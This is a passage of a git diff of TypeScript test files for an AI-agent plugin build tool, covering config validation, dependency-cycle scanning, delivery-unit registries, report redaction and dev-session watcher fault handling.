strict: true }, - ]); - expect(result.config?.srcDir).toBe(path.join(root, 'src')); - expect(result.config?.outDir).toBe(path.join(root, 'dist')); - expect(result.config?.metadata.displayName).toBeUndefined(); - }); - - it('never relaxes structural config failures', async () => { - /** 非法结构配置测试使用的工程根目录。 */ - const root = await temporaryProject(); - /** 同时包含元数据、目录和类型错误的配置解析结果。 */ - const result = resolveConfig({ - name: 'Invalid Name', - version: 'nope', - description: '', - build: { strict: false, outDir: '.' }, - }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); - - expect(result.config).toBeUndefined(); - expect(result.diagnostics.every(diagnostic => diagnostic.severity === 'error')).toBe(true); - }); - - it('rejects unknown and incorrectly typed nested config fields', async () => { - /** 嵌套字段校验测试使用的工程根目录。 */ - const root = await temporaryProject(); - /** 包含未知字段与错误嵌套类型的配置解析结果。 */ - const result = resolveConfig({ - name: 'test-plugin', - version: '1.0.0', - description: 'Test plugin.', - build: { strict: 'yes', clean: true }, - public: { copy: [{ from: 'assets', to: 'assets', transform: 'text' }] }, - platforms: [{ id: 'codex', strict: 'yes', compiler: 'custom' }], - extensions: { native: {} }, - } as never, path.join(root, 'acplugin.config.ts'), 'build', 'production'); - - expect(result.config).toBeUndefined(); - expect(result.diagnostics.map(diagnostic => diagnostic.code)).toEqual(expect.arrayContaining([ - 'CONFIG_FIELD_UNKNOWN', - 'CONFIG_STRICT_INVALID', - 'CONFIG_PLATFORM_INVALID', - 'CONFIG_EXTENSIONS_INVALID', - ])); - }); - - it('rejects legacy targets and modules with final configuration hints', async () => { - /** 旧配置字段拒绝测试使用的工程根目录。 */ - const root = await temporaryProject(); - /** 同时使用 targets 与 modules 的旧配置解析结果。 */ - const result = resolveConfig({ - name: 'test-plugin', version: '1.0.0', description: 'Test plugin.', - targets: ['codex'], - modules: [{ name: 'legacy-module' }], - } as never, path.join(root, 'acplugin.config.ts'), 'build', 'production'); - - expect(result.config).toBeUndefined(); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'CONFIG_LEGACY_TARGETS', hint: 'Use platforms: [myPlatform()] instead.', - })); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'CONFIG_LEGACY_MODULES', hint: 'Use extensions: [myExtension()] instead.', - })); - }); -}); - -describe('canonical scanner', () => { - it('discovers components, dependencies, auxiliary files, and Public', async () => { - /** 完整 Scanner 样例工程根目录。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/skills/review/references'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); - await fs.mkdir(path.join(root, 'public'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), '---\ndescription: Review changes.\nrequires:\n agents: [reviewer]\n---\nReview the change.\n'); - await fs.writeFile(path.join(root, 'src/skills/review/references/checks.md'), 'checks'); - await fs.writeFile(path.join(root, 'src/commands/check.md'), '---\ndescription: Check a change.\nrequires:\n skills: [review]\n---\nCheck {{arguments}}.\n'); - await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), '---\ndescription: Focused reviewer.\nmodel: capable\ncapabilities: [filesystem:read, search]\n---\nReview carefully.\n'); - await fs.writeFile(path.join(root, 'public/icon.bin'), new Uint8Array([1, 2, 3])); - /** Scanner 使用的已解析构建配置。 */ - const resolved = resolveConfig({ name: 'test-plugin', version: '1.0.0', description: 'Test.' }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); - /** 收集扫描结构问题的诊断容器。 */ - const diagnostics = new DiagnosticCollector(); - /** Scanner 产生的规范 PluginProject。 */ - const { project } = await scanProject(resolved.config!, diagnostics); - - expect(diagnostics.diagnostics).toEqual([]); - expect(project.commands.map(component => component.id)).toEqual(['check']); - expect(project.skills[0]?.auxiliaryFiles[0]?.path).toBe('references/checks.md'); - expect(project.agents[0]?.model).toBe('capable'); - expect(project.publicFiles[0]?.targetPath).toBe('icon.bin'); - }); - - it('reports a complete dependency cycle', async () => { - /** 循环依赖样例工程根目录。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/skills/a'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/skills/b'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/skills/a/SKILL.md'), '---\ndescription: A.\nrequires:\n skills: [b]\n---\nA body.\n'); - await fs.writeFile(path.join(root, 'src/skills/b/SKILL.md'), '---\ndescription: B.\nrequires:\n skills: [a]\n---\nB body.\n'); - /** 循环依赖 Scanner 使用的已解析配置。 */ - const resolved = resolveConfig({ name: 'test-plugin', version: '1.0.0', description: 'Test.' }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); - /** 接收完整依赖环诊断的 Collector。 */ - const diagnostics = new DiagnosticCollector(); - await scanProject(resolved.config!, diagnostics); - - expect(diagnostics.diagnostics).toContainEqual(expect.objectContaining({ - code: 'COMPONENT_DEPENDENCY_CYCLE', - message: expect.stringContaining('skill:a -> skill:b -> skill:a'), - })); - }); -}); diff --git a/packages/core/test/delivery-units.test.ts b/packages/core/test/delivery-units.test.ts deleted file mode 100644 index b9fb2a4..0000000 --- a/packages/core/test/delivery-units.test.ts +++ /dev/null @@ -1,181 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import { - ArtifactRegistry, - bytesArtifact, - definePlatform, - DeliveryUnitRegistry, - type PlatformId, -} from '../src/index.js'; - -/** - * 创建 DeliveryUnit 测试所需的品牌化 Platform ID。 - * - * @param id 开放 Platform ID。 - * @returns Core 工厂创建的 PlatformId。 - */ -function platformId(id: string): PlatformId { - return definePlatform({ - id, - apiVersion: '1', - deliveryType: 'plugin', - /** 单元 Registry 测试不准备真实 Draft。 */ - prepare: () => ({ documents: [], artifacts: [] }), - /** 单元 Registry 测试直接调用 Registry.add。 */ - generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), - /** 单元 Registry 测试不物化候选目录。 */ - validateBundle: () => undefined, - }).id; -} - -/** 两个独立 Platform 用于验证 tuple 唯一性范围。 */ -const CODEX = platformId('codex'); -/** 第二个平台允许复用相同单元 ID。 */ -const CLAUDE = platformId('claude-code'); - -describe('DeliveryUnit Registry', () => { - it('creates stable units with Platform-owned Artifact metadata', async () => { - /** 当前构建全局共享的单元 Registry。 */ - const registry = new DeliveryUnitRegistry(new Map()); - /** Codex 主 Plugin 单元。 */ - const unit = await registry.add(CODEX, { - id: 'plugin', - role: 'primary', - type: 'plugin', - artifacts: [bytesArtifact('manifest.json', '{}')], - }); - /** Claude Code 可以使用相同 unit-id,因为 Platform ID 不同。 */ - await registry.add(CLAUDE, { - id: 'plugin', - role: 'primary', - type: 'plugin', - artifacts: [bytesArtifact('plugin.json', '{}')], - }); - - expect(unit.artifacts[0]).toEqual(expect.objectContaining({ owner: 'platform:codex', size: 2, mode: 0o644 })); - expect(registry.snapshot().map(item => `${item.platform}/${item.id}`)).toEqual([ - 'claude-code/plugin', - 'codex/plugin', - ]); - expect(Object.isFrozen(registry.snapshot())).toBe(true); - expect(Object.isFrozen(unit)).toBe(true); - }); - - it('rejects duplicate tuple keys before processing another unit', async () => { - /** 已含 Codex plugin 单元的 Registry。 */ - const registry = new DeliveryUnitRegistry(new Map()); - await registry.add(CODEX, { id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }); - - await expect(registry.add(CODEX, { - id: 'plugin', - role: 'primary', - type: 'plugin', - artifacts: [bytesArtifact('../would-not-be-read', 'bad')], - })).rejects.toThrow('Duplicate DeliveryUnit'); - expect(registry.snapshot()).toHaveLength(1); - }); - - it('rejects unit-internal path conflicts before registering the unit', async () => { - /** 空 Registry 不应保留构建失败的部分单元。 */ - const registry = new DeliveryUnitRegistry(new Map()); - await expect(registry.add(CODEX, { - id: 'plugin', - role: 'primary', - type: 'plugin', - artifacts: [ - bytesArtifact('Skills/Review.md', 'first'), - bytesArtifact('skills/review.md', 'second'), - ], - })).rejects.toThrow('collision'); - expect(registry.snapshot()).toEqual([]); - }); - - it('enforces primary and Marketplace distribution role contracts', async () => { - /** 角色与类型组合验证使用的独立 Registry。 */ - const registry = new DeliveryUnitRegistry(new Map()); - await expect(registry.add(CODEX, { - id: 'marketplace', role: 'primary', type: 'marketplace', artifacts: [], - })).rejects.toThrow('primary'); - await expect(registry.add(CODEX, { - id: 'archive', role: 'distribution', type: 'plugin', artifacts: [], - })).rejects.toThrow('distribution'); - /** 唯一支持的 1.0 Distribution 组合。 */ - const marketplace = await registry.add(CODEX, { - id: 'marketplace', role: 'distribution', type: 'marketplace', artifacts: [], - }); - expect(marketplace.role).toBe('distribution'); - }); - - it('preserves primary Artifact ownership and metadata when a Distribution reuses it', async () => { - /** 主单元与 Distribution 共用的 Registry。 */ - const registry = new DeliveryUnitRegistry(new Map()); - /** 带显式可执行权限的 Platform 主单元。 */ - const primary = await registry.add(CODEX, { - id: 'plugin', - role: 'primary', - type: 'plugin', - artifacts: [{ ...bytesArtifact('bin/runner', 'run'), mode: 0o755 }], - }); - /** 使用主单元 Artifact 作为继承边界的 Marketplace Distribution。 */ - const distribution = await registry.add(CODEX, { - id: 'marketplace', - role: 'distribution', - type: 'marketplace', - artifacts: primary.artifacts, - }, primary.artifacts); - - expect(distribution.artifacts[0]).toEqual(expect.objectContaining({ - owner: primary.artifacts[0]!.owner, - mode: primary.artifacts[0]!.mode, - size: primary.artifacts[0]!.size, - sha256: primary.artifacts[0]!.sha256, - })); - }); - - it('preserves an inherited Extension owner after relocation without trusting spoofed metadata', async () => { - /** 模拟 Draft 阶段按 owner 隔离并冻结的 Artifact Registry。 */ - const draftArtifacts = new ArtifactRegistry(new Map()); - /** Extension 生成且需要由 Platform 原样编排进 Distribution 的可执行文件。 */ - const inherited = await draftArtifacts.add( - 'extension:bundle-assets', - { ...bytesArtifact('assets/runner', 'run'), mode: 0o755 }, - ); - /** Marketplace Distribution 使用的独立 DeliveryUnit Registry。 */ - const registry = new DeliveryUnitRegistry(new Map()); - /** 使用同一冻结 source、但移动到 Distribution 子目录的可信 Artifact 输入。 */ - const relocated = { - path: 'plugins/plugin-alpha/assets/runner', - source: inherited.source, - mode: inherited.mode, - }; - /** - * 即使输入伪造了 owner、hash 与 size,只要 source 不是 Core 冻结的继承对象, - * DeliveryUnit 就必须重新计算元数据并把产物归属当前 Platform。 - */ - const spoofed = { - ...inherited, - path: 'plugins/plugin-alpha/assets/spoofed-runner', - source: bytesArtifact('unused', 'changed').source, - }; - /** 只有显式传入 inheritedArtifacts 且 source 身份相同的重定位内容才能继承 owner。 */ - const distribution = await registry.add(CODEX, { - id: 'marketplace', - role: 'distribution', - type: 'marketplace', - artifacts: [relocated, spoofed], - }, [inherited]); - - expect(distribution.artifacts[0]).toEqual(expect.objectContaining({ - path: 'plugins/plugin-alpha/assets/runner', - owner: 'extension:bundle-assets', - mode: inherited.mode, - size: inherited.size, - sha256: inherited.sha256, - })); - expect(distribution.artifacts[1]).toEqual(expect.objectContaining({ - path: 'plugins/plugin-alpha/assets/spoofed-runner', - owner: 'platform:codex', - size: 7, - })); - expect(distribution.artifacts[1]!.sha256).not.toBe(inherited.sha256); - }); -}); diff --git a/packages/core/test/dev-session-faults.test.ts b/packages/core/test/dev-session-faults.test.ts new file mode 100644 index 0000000..cccca12 --- /dev/null +++ b/packages/core/test/dev-session-faults.test.ts @@ -0,0 +1,251 @@ +import { EventEmitter } from 'node:events'; +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import type { DevSession, SourceFileRef } from '../src/kernel-types.js'; +import { defineExtension, definePlatform } from '../src/kernel-contracts.js'; +import { resolveKernelConfig } from '../src/kernel/config-resolver.js'; +import { createDevSession, type DevSessionRoundInput } from '../src/kernel/dev-session.js'; + +/** 当前套件创建的工程和外部 package 根。 */ +const roots: string[] = []; + +/** createDevSession 实际使用的最小、可故障注入 FSWatcher。 */ +class FaultWatcher extends EventEmitter { + /** 当前物理 watcher 已登记的精确路径。 */ + readonly paths = new Set(); + failAdd = false; + failUnwatch = false; + failGetWatched = false; + hideWatched = false; + failClose = false; + + constructor(paths: string | readonly string[]) { + super(); + this.addPaths(paths); + queueMicrotask(() => this.emit('ready')); + } + + /** 不经过 fault flag 的内部初始登记。 */ + private addPaths(input: string | readonly string[]): void { + for (const candidate of typeof input === 'string' ? [input] : input) + this.paths.add(path.resolve(candidate)); + } + + /** 模拟 Chokidar 同步 add。 */ + add(input: string | readonly string[]): this { + if (this.failAdd) + throw new Error('injected watcher add failure'); + this.addPaths(input); + return this; + } + + /** 模拟 Chokidar 异步 unwatch。 */ + async unwatch(input: string | readonly string[]): Promise { + if (this.failUnwatch) + throw new Error('injected watcher unwatch failure'); + for (const candidate of typeof input === 'string' ? [input] : input) + this.paths.delete(path.resolve(candidate)); + return this; + } + + /** 为 readiness 检查生成 directory → direct child 快照。 */ + getWatched(): Record { + if (this.failGetWatched) + throw new Error('injected watcher getWatched failure'); + if (this.hideWatched) + return {}; + const watched: Record = {}; + for (const candidate of this.paths) { + const directory = path.dirname(candidate); + (watched[directory] ??= []).push(path.basename(candidate)); + } + return watched; + } + + /** close 可以失败,但不改变 DevSession 必须发布的终态。 */ + async close(): Promise { + if (this.failClose) + throw new Error('injected watcher close failure'); + } + + /** 向 DevSession 发布一个真实 Chokidar all event。 */ + change(file: string): void { + this.emit('all', 'change', path.resolve(file)); + } +} + +/** watcher graph 是否包含外部 package 的可变 fixture 开关。 */ +interface FixtureControl { + compileExternal: boolean; +} + +/** 创建直接调用私有 Core coordinator 的确定性 dev fixture。 */ +async function fixture(initialExternal = false): Promise<{ + readonly root: string; + readonly command: string; + readonly control: FixtureControl; + readonly input: DevSessionRoundInput; + watcher(): FaultWatcher; +}> { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-dev-fault-')); + roots.push(root); + const packageRoot = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-dev-fault-package-')); + roots.push(packageRoot); + await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ + name: 'dev-fault-package', version: '1.0.0', type: 'module', exports: './index.js', license: 'MIT', + })); + await fs.writeFile(path.join(packageRoot, 'index.js'), 'export const value = true;\n'); + await fs.writeFile(path.join(packageRoot, 'LICENSE'), 'Dev fault package license.\n'); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/probe'), { recursive: true }); + await fs.mkdir(path.join(root, 'node_modules'), { recursive: true }); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), 'export default {};\n'); + const command = path.join(root, 'src/commands/review.md'); + await fs.writeFile(command, '---\ndescription: Review.\n---\nReview.\n'); + await fs.writeFile(path.join(root, 'src/probe/entry.ts'), 'export { value } from "dev-fault-package";\n'); + await fs.symlink(packageRoot, path.join(root, 'node_modules/dev-fault-package'), 'dir'); + const control: FixtureControl = { compileExternal: initialExternal }; + const platform = definePlatform({ + id: 'dev-fault', apiVersion: '1', deliveryType: 'plugin', + createSession: () => ({ + createPackage: ({ project }) => ({ + documents: [], assets: [], + compatibility: project.commands.map(item => ({ + subject: `command:${item.id}`, capability: 'component', level: 'native' as const, reason: 'Native command.', + })), + metadata: ['name', 'version', 'description'].map(field => ({ + field, disposition: 'emitted' as const, output: `manifest/${field}`, reason: 'Emitted metadata.', + })), + }), + finalizePackage: () => ({ id: 'plugin', type: 'plugin' as const }), + validatePackage: () => undefined, + }), + }); + const extension = defineExtension, { readonly entry: SourceFileRef }, { readonly entry: SourceFileRef }, Record>({ + id: 'dev-fault-extension', apiVersion: '1', resourceRoots: ['probe'], + createSession: () => ({ + discover: async context => ({ entry: await context.sources.file(context.roots.probe!, 'entry.ts') }), + validate: (_context, state) => ({ state, subjects: [] }), + async build(context, state) { + if (control.compileExternal) { + await context.compiler.compile({ + id: 'external', profile: 'portable-node', entries: { main: { type: 'source', source: state.entry } }, + }); + } + return { state: {} }; + }, + contributors: [{ + platform: 'dev-fault', platformApiVersion: '1', contribute: () => ({ compatibility: [] }), + }], + }), + }); + let currentWatcher: FaultWatcher | undefined; + /** 仅 Core 内部测试替换实际 Chokidar 工厂。 */ + const watchFactory = ((paths: string | readonly string[]) => { + currentWatcher = new FaultWatcher(paths); + return currentWatcher; + }) as unknown as NonNullable; + const input: DevSessionRoundInput = { + projectRoot: root, + configFile: path.join(root, 'acplugin.config.ts'), + frameworkVersion: 'test', + options: { mode: 'development', commit: false }, + watchFactory, + watchReadyTimeoutMs: 20, + loadConfig: async () => { + const resolved = resolveKernelConfig({ + name: 'dev-fault', version: '1.0.0', description: 'Dev watcher fault fixture.', + platforms: [platform], extensions: [extension], public: false, + }, { + projectRoot: root, + configFile: path.join(root, 'acplugin.config.ts'), + command: 'dev', + mode: 'development', + }); + if (resolved.config === undefined) + throw new Error('Fixture config failed.'); + return resolved.config; + }, + }; + return { + root, + command, + control, + input, + watcher: () => currentWatcher!, + }; +} + +/** 等待下一次公开 build-complete。 */ +function nextComplete(session: DevSession): Promise> { + return new Promise((resolve) => { + const unsubscribe = session.subscribe((event) => { + if (event.type === 'build-complete') { + unsubscribe(); + resolve(event); + } + }); + }); +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('DevSession watcher fault boundaries', () => { + it.each(['add', 'getWatched', 'readiness'] as const)('pairs start/complete and reports an injected %s failure', async (failure) => { + const current = await fixture(false); + const session = await createDevSession(current.input); + const watcher = current.watcher(); + if (failure === 'add') watcher.failAdd = true; + if (failure === 'getWatched') watcher.failGetWatched = true; + if (failure === 'readiness') watcher.hideWatched = true; + current.control.compileExternal = true; + /** 同一 sequence 的公开事件必须在 watcher I/O 失败时仍成对。 */ + const events: import('../src/kernel-types.js').DevSessionEvent[] = []; + session.subscribe(event => events.push(event)); + const complete = nextComplete(session); + watcher.change(current.command); + const result = await complete; + + expect(result.report.success).toBe(false); + expect(result.report.diagnostics).toContainEqual(expect.objectContaining({ code: 'DEV_WATCH_FAILED', phase: 'dev' })); + expect(events.filter(event => event.type === 'build-start')).toHaveLength(1); + expect(events.filter(event => event.type === 'build-complete')).toHaveLength(1); + expect(events[0]?.sequence).toBe(events[1]?.sequence); + await session.close(); + await session.closed; + }); + + it('keeps logical state uncommitted when unwatch rejects', async () => { + const current = await fixture(true); + const session = await createDevSession(current.input); + const watcher = current.watcher(); + current.control.compileExternal = false; + watcher.failUnwatch = true; + const complete = nextComplete(session); + watcher.change(current.command); + + const result = await complete; + expect(result.report.success).toBe(false); + expect(result.report.diagnostics).toContainEqual(expect.objectContaining({ code: 'DEV_WATCH_FAILED' })); + await session.close(); + }); + + it('settles closed and emits one terminal event before surfacing close failure', async () => { + const current = await fixture(false); + const session = await createDevSession(current.input); + current.watcher().failClose = true; + /** 显式观察 close rejection,防止测试本身制造 unhandledRejection。 */ + const events: import('../src/kernel-types.js').DevSessionEvent[] = []; + session.subscribe(event => events.push(event)); + const close = session.close(); + + await expect(close).rejects.toThrow('DevSession cleanup failed'); + await expect(session.closed).resolves.toBeUndefined(); + expect(events.filter(event => event.type === 'closed')).toHaveLength(1); + expect(session.close()).toBe(close); + }); +}); diff --git a/packages/core/test/diagnostics.test.ts b/packages/core/test/diagnostics.test.ts deleted file mode 100644 index c6721bc..0000000 --- a/packages/core/test/diagnostics.test.ts +++ /dev/null @@ -1,229 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import { - compareCodeUnits, - createBuildResult, - DiagnosticCollector, - internalPlatformId, - redactReportValue, - serializeBuildResult, - stableJson, - type BuildResultInput, -} from '../src/index.js'; - -/** 确定性报告测试共用的 Codex PlatformId。 */ -const CODEX_PLATFORM = internalPlatformId('codex'); -/** 确定性报告测试共用的 Claude Code PlatformId。 */ -const CLAUDE_PLATFORM = internalPlatformId('claude-code'); - -/** - * 使用指定发现顺序创建语义相同的 BuildResult 输入。 - * - * @param reversed 是否反转全部无业务顺序的集合。 - * @returns 可验证稳定 serializer 的报告输入。 - */ -function reportInput(reversed: boolean): BuildResultInput { - /** 进入报告前已经过 Collector 清理的诊断。 */ - const diagnostics = new DiagnosticCollector(); - /** 两条诊断使用相反加入顺序验证最终排序。 */ - const diagnosticItems = [ - { code: 'Z_WARNING', severity: 'warning' as const, message: 'Later.', phase: 'validate', platform: CODEX_PLATFORM }, - { code: 'A_WARNING', severity: 'warning' as const, message: 'Earlier.', phase: 'validate', platform: CLAUDE_PLATFORM }, - ]; - for (const diagnostic of reversed ? [...diagnosticItems].reverse() : diagnosticItems) - diagnostics.add(diagnostic); - /** 两个交付单元故意按可变发现顺序提供。 */ - const deliveryUnits: BuildResultInput['deliveryUnits'] = [ - { - platform: CODEX_PLATFORM, - id: 'plugin', - role: 'primary', - type: 'plugin', - artifacts: [ - { path: 'skills/z/SKILL.md', owner: 'platform:codex', mode: 0o644, size: 2, sha256: 'b'.repeat(64) }, - { path: 'manifest.json', owner: 'platform:codex', mode: 0o644, size: 1, sha256: 'a'.repeat(64) }, - ], - }, - { - platform: CLAUDE_PLATFORM, - id: 'plugin', - role: 'primary', - type: 'plugin', - artifacts: [], - }, - ]; - /** Platform 详情使用相反顺序验证报告排序。 */ - const platformDetails: BuildResultInput['platformDetails'] = [ - { id: CODEX_PLATFORM, apiVersion: '1', deliveryType: 'plugin', strict: true }, - { id: CLAUDE_PLATFORM, apiVersion: '1', deliveryType: 'plugin', strict: true }, - ]; - /** Component 摘要使用相反顺序验证种类与 ID 排序。 */ - const components: BuildResultInput['components'] = [ - { kind: 'skill', id: 'z' }, - { kind: 'command', id: 'a' }, - ]; - /** Extension 摘要使用相反顺序验证名称排序。 */ - const extensions: BuildResultInput['extensions'] = [ - { name: 'z-extension', apiVersion: '1', hasResources: true }, - { name: 'a-extension', apiVersion: '1', hasResources: false }, - ]; - /** Document 摘要使用相反顺序验证 Platform 与逻辑 ID 排序。 */ - const documents: BuildResultInput['documents'] = [ - { platform: CODEX_PLATFORM, id: 'z', path: 'z.json', format: 'json', owner: 'platform:codex' }, - { platform: CLAUDE_PLATFORM, id: 'a', path: 'a.json', format: 'json', owner: 'platform:claude-code' }, - ]; - /** 两条兼容性结论用于验证 Platform 与 Subject 排序。 */ - const compatibility: BuildResultInput['compatibility'] = [ - { platform: CODEX_PLATFORM, subject: 'skill:z', capability: 'component', level: 'native', reason: 'Supported.' }, - { platform: CLAUDE_PLATFORM, subject: 'skill:a', capability: 'component', level: 'native', reason: 'Supported.' }, - ]; - /** 两条元数据去向用于验证字段排序。 */ - const metadata: BuildResultInput['metadata'] = [ - { platform: CODEX_PLATFORM, field: 'version', disposition: 'emitted', output: 'manifest.version', reason: 'Supported.' }, - { platform: CLAUDE_PLATFORM, field: 'name', disposition: 'emitted', output: 'manifest.name', reason: 'Supported.' }, - ]; - return { - command: 'inspect', - success: true, - committed: false, - platforms: reversed ? [CODEX_PLATFORM, CLAUDE_PLATFORM] : [CLAUDE_PLATFORM, CODEX_PLATFORM], - platformDetails: reversed ? [...platformDetails].reverse() : platformDetails, - components: reversed ? [...components].reverse() : components, - extensions: reversed ? [...extensions].reverse() : extensions, - documents: reversed ? [...documents].reverse() : documents, - deliveryUnits: reversed ? [...deliveryUnits].reverse() : deliveryUnits, - diagnostics: diagnostics.diagnostics, - compatibility: reversed ? [...compatibility].reverse() : compatibility, - metadata: reversed ? [...metadata].reverse() : metadata, - }; -} - -describe('stable BuildResult report', () => { - it('uses fixed UTF-16 code-unit order for Unicode strings and stable integer-shaped keys', () => { - /** 覆盖 ASCII、组合字符、预组合字符与代理对的乱序字符串。 */ - const values = ['😀', 'é', 'z', 'e\u0301']; - expect(values.sort(compareCodeUnits)).toEqual(['e\u0301', 'z', 'é', '😀']); - - /** 插入顺序不同但语义相同的对象;整数形 key 最终遵循 ECMAScript 固定顺序。 */ - const first = { '😀': 6, '10': 2, 'é': 5, '2': 1, 'z': 4, 'e\u0301': 3 }; - /** 与第一个对象字段相同但插入顺序不同的对照输入。 */ - const second = { 'e\u0301': 3, 'z': 4, '2': 1, 'é': 5, '10': 2, '😀': 6 }; - expect(stableJson(first)).toBe(stableJson(second)); - expect(Object.keys(JSON.parse(stableJson(first)) as object)).toEqual(['2', '10', 'e\u0301', 'z', 'é', '😀']); - }); - - it('produces byte-identical single-document JSON for different discovery orders', () => { - /** 正向发现顺序产生的 JSON。 */ - const first = serializeBuildResult(createBuildResult(reportInput(false))); - /** 反向发现顺序产生的 JSON。 */ - const second = serializeBuildResult(createBuildResult(reportInput(true))); - - expect(first).toBe(second); - expect(first.endsWith('\n')).toBe(true); - expect(JSON.parse(first)).toMatchObject({ schemaVersion: '1', command: 'inspect', success: true }); - }); - - it('contains no timestamp, absolute path, credential, or Artifact bytes', () => { - /** 以可疑 owner 和路径验证最终 serializer 的恶意报告。 */ - const result = createBuildResult({ - command: 'build', - success: false, - committed: false, - platforms: [CODEX_PLATFORM], - platformDetails: [], - components: [], - extensions: [], - documents: [], - deliveryUnits: [{ - platform: CODEX_PLATFORM, - id: 'plugin', - role: 'primary', - type: 'plugin', - artifacts: [{ - path: '/Users/example/private/artifact.json', - owner: 'Bearer report-secret', - mode: 0o644, - size: 4, - sha256: 'a'.repeat(64), - }], - }], - diagnostics: [], - compatibility: [], - metadata: [], - }); - /** 执行结构化凭据与路径脱敏后的 JSON。 */ - const json = serializeBuildResult(result); - - expect(json).not.toContain('/Users/example'); - expect(json).not.toContain('report-secret'); - expect(json).not.toContain('timestamp'); - expect(json).not.toContain('Uint8Array'); - expect(json).toContain(''); - }); - - it('preserves protocol identities and ordinary text that match environment values', () => { - /** REDACT-1 使用且需要在 finally 中恢复的环境变量。 */ - const environment = { - ACPLUGIN_REDACT_PLATFORM: process.env.ACPLUGIN_REDACT_PLATFORM, - ACPLUGIN_REDACT_UNIT: process.env.ACPLUGIN_REDACT_UNIT, - ACPLUGIN_REDACT_VERSION: process.env.ACPLUGIN_REDACT_VERSION, - }; - try { - process.env.ACPLUGIN_REDACT_PLATFORM = 'claude'; - process.env.ACPLUGIN_REDACT_UNIT = 'plugin'; - process.env.ACPLUGIN_REDACT_VERSION = '1.0.0'; - /** 包含所有环境同字子串的公开程序化构建结果。 */ - const result = createBuildResult({ - ...reportInput(false), - diagnostics: [{ - code: 'VERSION_NOTE', - severity: 'warning', - message: 'Version 1.0.0 builds the claude-code plugin.', - phase: 'validate', - }], - }); - /** 最终 JSON 不得读取环境并改写合法协议字段。 */ - const json = serializeBuildResult(result); - - expect(json).toContain('claude-code'); - expect(json).toContain('plugin'); - expect(json).toContain('1.0.0'); - expect(json).not.toContain(''); - } finally { - for (const [name, value] of Object.entries(environment)) { - if (value === undefined) - delete process.env[name]; - else - process.env[name] = value; - } - } - }); -}); - -describe('arbitrary value redaction', () => { - it('preserves safe relative Artifact paths while redacting absolute paths', () => { - expect(redactReportValue('extensions/bridge.txt')).toBe('extensions/bridge.txt'); - expect(redactReportValue('/private/project/extensions/bridge.txt')).toBe(''); - }); - - it('removes secret fields, functions, bytes, cycles, and temporary roots without guessing environment values', () => { - /** 带循环、函数、字节和 Secret 的不可信任意对象。 */ - const unsafe: Record = { - apiToken: 'top-secret', - /** callback 提供当前对象协议要求的回调实现。 */ callback: () => 'unsafe', - bytes: new Uint8Array([1, 2, 3]), - message: 'value env-secret at /private/root/.acplugin-work-123/cache', - }; - unsafe.self = unsafe; - /** 递归脱敏后的普通对象快照。 */ - const safe = redactReportValue(unsafe, { roots: ['/private/root'] }); - /** 稳定字符串形式便于断言原始敏感数据全部消失。 */ - const json = JSON.stringify(safe); - - expect(json).not.toContain('top-secret'); - expect(json).toContain('env-secret'); - expect(json).not.toContain('/private/root'); - expect(json).toContain(''); - expect(json).toContain(''); - expect(json).toContain(''); - }); -}); diff --git a/packages/core/test/distribution-registry.test.ts b/packages/core/test/distribution-registry.test.ts new file mode 100644 index 0000000..27c808a --- /dev/null +++ b/packages/core/test/distribution-registry.test.ts @@ -0,0 +1,124 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import type { AssetRef, PackageUnitSnapshot } from '../src/kernel-types.js'; +import { AssetRegistry } from '../src/kernel/asset-registry.js'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { SourceRegistry } from '../src/kernel/source-registry.js'; +import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; +import { collectDistributionPackages, createDistributionPackage } from '../src/package/distribution-registry.js'; + +/** Distribution 测试统一清理的临时根。 */ +const roots: string[] = []; + +/** @returns Asset Registry 与带继承 Asset 的 primary Unit。 */ +async function fixture() { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-distribution-v2-')); + roots.push(root); + const scope = new BuildSessionScope(); + const sources = new SourceRegistry(scope, root); + const work = new WorkDirectoryRegistry(scope, path.join(root, '.work')); + const assets = new AssetRegistry(scope, sources, work); + const inherited = await assets.service('platform:target').fromBytes({ + bytes: 'plugin', mode: 0o755, origin: { operation: 'plugin-main' }, + }); + const primary: PackageUnitSnapshot = Object.freeze({ + platform: 'target', id: 'plugin', type: 'plugin', role: 'primary', + assets: Object.freeze([{ path: 'main.mjs', owner: 'platform:target', asset: inherited }]), + compatibility: Object.freeze([]), metadata: Object.freeze([]), + }); + return { root, assets, primary, inherited }; +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('Distribution Package Registry', () => { + it('inherits primary refs, accepts callback-issued refs and preserves metadata', async () => { + const current = await fixture(); + const scope = current.assets.issuanceScope('platform:target'); + const manifest = await scope.service.fromBytes({ bytes: '{}\n', origin: { operation: 'marketplace-manifest' } }); + scope.close(); + const distribution = 